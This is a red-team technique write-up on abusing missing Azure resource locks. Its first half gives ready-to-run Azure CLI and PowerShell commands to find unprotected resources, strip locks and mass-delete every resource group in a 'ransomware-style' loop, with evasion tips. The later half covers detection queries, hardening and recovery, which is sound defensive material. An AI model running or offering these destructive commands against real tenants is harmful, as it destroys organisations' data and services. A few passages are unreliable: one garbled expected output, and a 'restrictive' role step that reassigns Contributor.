| Attribute | Details |
|---|---|
| Technique ID | MISCONFIG-020 |
| MITRE ATT&CK v18.1 | T1531 - Account Access Removal |
| Tactic | Impact / Resource Disruption |
| Platforms | Entra ID, Azure, Cross-Cloud |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure subscription tiers, all resource types |
| Patched In | Not applicable (configuration control) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Resource Locks (CanNotDelete and ReadOnly locks) are management-level controls that prevent accidental or malicious deletion or modification of critical resources (VMs, databases, storage accounts, key vaults, etc.). If these locks are not applied to production resources, attackers with Contributor or Owner role can delete critical infrastructure, causing immediate business disruption, data loss, and denial of service. This is commonly used in ransomware attacks to prevent recovery from backups.
Attack Surface: Azure Resource Manager (control plane), RBAC permissions, resource group management, subscription-level policies, and delete operations on all resource types.
Business Impact: Immediate availability loss and inability to recover without backup restoration or recreation of resources. With delete access, attackers can destroy databases (with data), storage accounts (with backups), VMs (with running applications), Key Vaults (with encryption keys), and managed identities, causing cascading failures across the entire application ecosystem. Ransomware attacks often combine this with data encryption to prevent recovery.
Technical Context: Exploitation requires delete permissions (typically Contributor or Owner role) on the target resource or resource group. If no locks are present, deletion is instantaneous and difficult to reverse without backups. Locks cannot be bypassed by non-Owner roles, but can be removed by Owner-level principals. Detection is achieved through Azure Activity Logs and audit alerts on lock removal or resource deletion.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1 (Azure) | Ensure that subscriptions are protected with resource locks |
| DISA STIG | CM-2, CM-3, CM-5 | Baseline Configuration, Configuration Change Control, Separation of Duties |
| CISA SCuBA | IR.1 | Incident Response Plan |
| NIST 800-53 | CM-2, CM-3, CM-5, SC-7, IA-2 | Configuration Management, Change Control, Separation of Duties |
| GDPR | Art. 32 | Security of Processing (availability and integrity of personal data) |
| DORA | Art. 10, Art. 16, Art. 18 | Physical and Environmental Security, ICT-Related Incidents |
| NIS2 | Art. 21, Art. 22 | Cyber Risk Management, Incident Reporting |
| ISO 27001 | A.12.1, A.14.1 | Change Management, Information Security Incident Management |
| ISO 27005 | Availability Risk | Risk management for availability of critical systems |
Supported Versions:
Tools:
Supported Versions: All Azure subscription tiers
Objective: List all resources in a resource group and identify which lack protection locks.
Command (Azure CLI - Identify Unprotected Resources):
# List all resources in a resource group
az resource list --resource-group "MyResourceGroup" --query "[].{name: name, type: type, id: id}" --output table
# Check for locks on each resource
az lock list --resource-group "MyResourceGroup" --query "[].{name: name, level: level, resourceName: resourceName}" --output table
# Identify resources WITHOUT locks
az resource list --resource-group "MyResourceGroup" --query "[].id" -o tsv | while read resourceId; do
lockCount=$(az lock list --resource-name $(echo $resourceId | rev | cut -d'/' -f1 | rev) --resource-group "MyResourceGroup" --query "length([])")
if [ "$lockCount" -eq 0 ]; then
echo "UNPROTECTED: $resourceId"
fi
done
Expected Output:
UNPROTECTED: /subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm-01
UNPROTECTED: /subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Sql/servers/prod-sqlserver
UNPROTECTED: /subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Storage/storageAccounts/proddata
What This Means:
OpSec & Evasion:
Troubleshooting:
az resource list --resource-group RG-NameObjective: Remove key production resources to cause business disruption.
Command (Azure CLI - Delete Resources):
# Delete a single resource (e.g., VM)
az resource delete --ids "/subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm-01" --no-wait
# Delete an entire resource group (cascading deletion of all resources)
az group delete --name "MyResourceGroup" --no-wait --yes
# Delete multiple resources in parallel
az resource list --resource-group "MyResourceGroup" --query "[].id" -o tsv | xargs -P 4 -I {} az resource delete --ids {} --no-wait
Expected Output:
Deletion initiated. Use 'az group delete --name MyResourceGroup --no-wait' to check status.
No resources were deleted as the deletion is in progress.
What This Means:
OpSec & Evasion:
--no-wait flag to avoid long execution; deletion occurs asynchronously.Troubleshooting:
Objective: Confirm resources are deleted and assess impact on running applications.
Command (Azure CLI - Verify Deletion):
# Check if resource still exists
az resource show --ids "/subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm-01" --query name
# Should return error if deleted
# Verify deleted resources in audit logs
az monitor activity-log list --resource-group "MyResourceGroup" --offset 24h \
--query "[?operationName.value == 'Microsoft.Compute/virtualMachines/delete'].{Time: eventTimestamp, Caller: caller, Status: status.value}" --output table
Expected Output:
Time: 2025-12-15 15:30:45
Caller: attacker@example.com
Status: Succeeded
What This Means:
References & Proofs:
Supported Versions: All Azure subscription tiers
Objective: Identify locks protecting resources and determine who can remove them.
Command (Azure CLI - List Locks):
# List all locks in a resource group
az lock list --resource-group "MyResourceGroup" --query "[].{name: name, level: level, owner: owner}" --output table
# List locks on a specific resource
az lock list --resource-name "prod-vm-01" --resource-group "MyResourceGroup" --resource-type "Microsoft.Compute/virtualMachines"
# Check who has permission to remove locks (Owner role required)
az role assignment list --resource-group "MyResourceGroup" --role "Owner" --query "[].principalName"
Expected Output:
Name: prod-vm-delete-lock
Level: CanNotDelete
Owner: SERVTEP (if corporate account)
Name: prod-database-readonly
Level: ReadOnly
Owner: SERVTEP
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Delete locks protecting resources so they can be deleted.
Command (Azure CLI - Remove Locks):
# Get the lock ID
lockId=$(az lock list --resource-group "MyResourceGroup" --query "[0].id" -o tsv)
# Delete the lock
az lock delete --ids "$lockId"
# Or delete lock by name
az lock delete --name "prod-vm-delete-lock" --resource-group "MyResourceGroup" --resource-name "prod-vm-01" --resource-type "Microsoft.Compute/virtualMachines"
# Verify lock is removed
az lock list --resource-group "MyResourceGroup"
# Should return empty list
Expected Output:
# Lock deleted successfully; no output returned
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: (Same as METHOD 1, Step 2)
Command (Azure CLI - Delete Resource):
az resource delete --ids "/subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm-01" --no-wait
Supported Versions: All Azure subscription tiers
Objective: Establish connection to Azure subscription with Contributor/Owner credentials.
Command (Azure PowerShell):
# Connect to Azure
Connect-AzAccount
# Set subscription context
Set-AzContext -SubscriptionId "subscription-id"
# List subscriptions user has access to (for lateral movement)
Get-AzSubscription | Select-Object Name, Id
Expected Output:
Name: Production
Id: subscription-id
Name: Development
Id: other-subscription-id
What This Means:
Objective: Maximize impact by deleting entire resource groups.
Command (Azure PowerShell - Bulk Deletion):
# Get all resource groups
$resourceGroups = Get-AzResourceGroup
# Iterate and delete all resource groups (ransomware-style)
foreach ($rg in $resourceGroups) {
if ($rg.ResourceGroupName -notmatch "DefaultResourceGroup|MC_") {
Write-Host "Deleting resource group: $($rg.ResourceGroupName)"
Remove-AzResourceGroup -Name $rg.ResourceGroupName -Force -NoWait
}
}
# Alternative: Delete all resources without removing resource groups
Get-AzResource | ForEach-Object {
Write-Host "Deleting resource: $($_.Name)"
Remove-AzResource -ResourceId $_.ResourceId -Force -NoWait
}
# Monitor deletion status
Get-AzResourceGroup | Where-Object { $_.ProvisioningState -eq "Deleting" }
Expected Output:
Deleting resource group: Production
Deleting resource group: Staging
Deleting resource group: Development
True (deletion initiated)
What This Means:
OpSec & Evasion:
NoWait flag to return immediately without waiting for completion.References & Proofs:
Version: 2.50+ (current) Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux
Usage:
az lock delete --name "lock-name" --resource-group "RG-Name"
az resource delete --ids "/path/to/resource"
Version: 9.0+ (current) Minimum Version: 5.0 Supported Platforms: Windows, PowerShell Core 6.0+
Usage:
Remove-AzResourceLock -LockName "lock-name" -ResourceGroupName "RG-Name" -Force
Remove-AzResourceGroup -Name "RG-Name" -Force
Rule Configuration:
KQL Query:
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Delete lock"
| where Result == "Success"
| project TimeGenerated, Caller=InitiatedBy.user.userPrincipalName, Operation=OperationName, LockName=TargetResources[0].displayName, ResourceGroup=TargetResources[0].resourceGroupName
| union (
AzureActivity
| where TimeGenerated > ago(24h)
| where OperationName has "Delete" and OperationName has "lock"
| where ActivityStatus == "Succeeded"
| project TimeGenerated, Caller=Caller, Operation=OperationName, ResourceName=ResourceName, ResourceGroup=ResourceGroupName
)
What This Detects:
Manual Configuration Steps (Azure Portal):
Critical - Resource Lock RemovedCritical5 minutesRule Configuration:
KQL Query:
AzureActivity
| where TimeGenerated > ago(24h)
| where OperationName has "Delete" and (OperationName has "virtualMachines" or OperationName has "databases" or OperationName has "storageAccounts")
| where ActivityStatus == "Succeeded"
| summarize Count=count() by Caller, OperationName, ResourceName
| where Count > 1 or OperationName has "resourceGroups"
What This Detects:
Event ID: 4624 (Successful Logon)
Alert Name: “Resource locks removed from critical resources”
Manual Configuration Steps:
Apply CanNotDelete locks to all production resource groups: Prevent accidental or malicious deletion of critical resources.
Manual Steps (Azure Portal):
production-delete-lockManual Steps (Azure CLI):
az lock create --name "production-delete-lock" --lock-type "CanNotDelete" --resource-group "MyResourceGroup"
Manual Steps (PowerShell):
New-AzResourceLock -LockName "production-delete-lock" -LockLevel CanNotDelete -ResourceGroupName "MyResourceGroup" -Force
Validation Command:
az lock list --resource-group "MyResourceGroup" --query "[].{name: name, level: level}" --output table
# Expected: production-delete-lock with level CanNotDelete
Apply ReadOnly locks to immutable resources: Prevent any modifications to critical resources (Key Vault, SQL databases with restricted access).
Manual Steps (Azure Portal):
readonly-keyvaultManual Steps (Azure CLI):
# Apply lock to a specific resource
az lock create --name "readonly-keyvault" --lock-type "ReadOnly" \
--resource-name "my-keyvault" --resource-group "MyResourceGroup" \
--resource-type "Microsoft.KeyVault/vaults"
Validation Command:
# Verify lock prevents modification
az keyvault key create --vault-name "my-keyvault" --name "test-key"
# Expected: Error "The request is not allowed by the resource policy"
Implement Azure Policy to enforce locks on resources: Automatically apply locks to resources matching specific criteria (tags, type, environment).
Manual Steps (Azure Portal - Create Policy):
{
"mode": "All",
"policyRule": {
"if": {
"field": "tags['Environment']",
"equals": "Production"
},
"then": {
"effect": "auditIfNotExists",
"details": {
"type": "Microsoft.Authorization/locks"
}
}
}
}
Manual Steps (Azure CLI - Assign Policy):
# Assign built-in policy: Deny deletion of non-empty resource groups
az policy assignment create --name "deny-delete-production-rg" \
--policy "/providers/Microsoft.Authorization/policyDefinitions/9dc6c016-2e73-41e8-b5e0-d07d5d91ff54" \
--scope "/subscriptions/subscription-id"
Restrict Delete permissions via RBAC: Limit who can delete resources by removing Contributor/Owner roles from non-essential users.
Manual Steps (PowerShell - Remove Contributor Role):
# List all users with Contributor role
Get-AzRoleAssignment -RoleDefinitionName "Contributor" | Select-Object SignInName, Scope
# Remove Contributor role for non-admin user
Remove-AzRoleAssignment -SignInName "user@example.com" -RoleDefinitionName "Contributor" -ResourceGroupName "MyResourceGroup"
# Assign more restrictive role instead
New-AzRoleAssignment -SignInName "user@example.com" -RoleDefinitionName "Contributor" -Scope "/subscriptions/SUB_ID/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/prod-vm"
Validation Command:
# Verify user can no longer delete resources
Get-AzRoleAssignment -SignInName "user@example.com" | Where-Object { $_.RoleDefinitionName -match "Contributor|Owner" }
# Expected: No results (user lacks delete permissions)
Implement Privileged Identity Management (PIM) for Owner role: Require approval and temporary elevation for lock removal operations.
Manual Steps (Azure Portal - Enable PIM):
4 hoursValidation Command:
# Check PIM configuration for Owner role
Get-AzRoleDefinition -Name "Owner" | Select-Object Name, Id
Enable diagnostic logging and auditing for lock operations: Monitor all lock removals and resource deletions.
Manual Steps (Enable Activity Log Archiving):
lock-audit-logUse Azure RBAC to enforce separation of duties: Separate the ability to remove locks from the ability to delete resources.
Manual Steps (Create Custom Role):
# Create custom role that can delete locks but not resources
$customRole = @{
Name = "Lock Manager"
Description = "Can manage locks but not delete resources"
IsCustom = $true
Permissions = @(
@{ Action = "Microsoft.Authorization/locks/*" }
)
}
New-AzRoleDefinition -InputObject $customRole
Implement resource group-level locks in addition to subscription-level locks: Multiple layers of protection.
Manual Steps (Apply Multi-Layer Locks):
# Subscription-level lock
az lock create --name "subscription-delete-lock" --lock-type "CanNotDelete" --scope "/subscriptions/subscription-id"
# Resource group-level lock
az lock create --name "rg-delete-lock" --lock-type "CanNotDelete" --resource-group "MyResourceGroup"
# Individual resource locks
az lock create --name "vm-delete-lock" --lock-type "CanNotDelete" --resource-name "prod-vm" --resource-group "MyResourceGroup" --resource-type "Microsoft.Compute/virtualMachines"
# Disable service principal
az ad sp update --id "service-principal-id" --set "accountEnabled=false"
# Revoke active sessions
az rest --method post --url "/me/revokeSignInSessions" --headers Content-Type=application/json
Manual (PowerShell):
# Disable compromised user account
Disable-AzADUser -UserPrincipalName "compromised@example.com"
# Export activity logs for deleted resources
az monitor activity-log list --resource-group "MyResourceGroup" --offset 72h \
--query "[?operationName.value contains 'delete'].{Time: eventTimestamp, Caller: caller, Operation: operationName.value, Status: status.value}" \
> deletion_audit.json
# Restore VM from backup
az backup recovery-point restore --vault-name "my-backup-vault" --container-name "MyVM" --item-name "MyVM" \
--restore-mode OriginalStorageAccount
# Restore database from backup
az sql db restore --name "mydb" --resource-group "MyResourceGroup" --server "my-server" \
--time "2025-12-14T10:00:00Z"
AzureActivity
| where Caller == "attacker@example.com"
| where OperationName has "Delete"
| summarize Count=count() by ResourceName, ResourceType, TimeGenerated
| where Count > 5
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-005] Azure Resource Graph Enumeration | Attacker identifies critical resources and lock status |
| 2 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains access to Azure subscription |
| 3 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker escalates to Contributor/Owner role |
| 4 | Credential Access | [CA-TOKEN-001] Hybrid AD Cloud Token Theft | Attacker obtains valid Azure credentials |
| 5 | Impact | [MISCONFIG-020] Lack of Resource Locks | Attacker removes locks and deletes critical resources |
| 6 | Ransom Demand | Ransomware Negotiation | Attacker demands payment for restore keys or access recovery |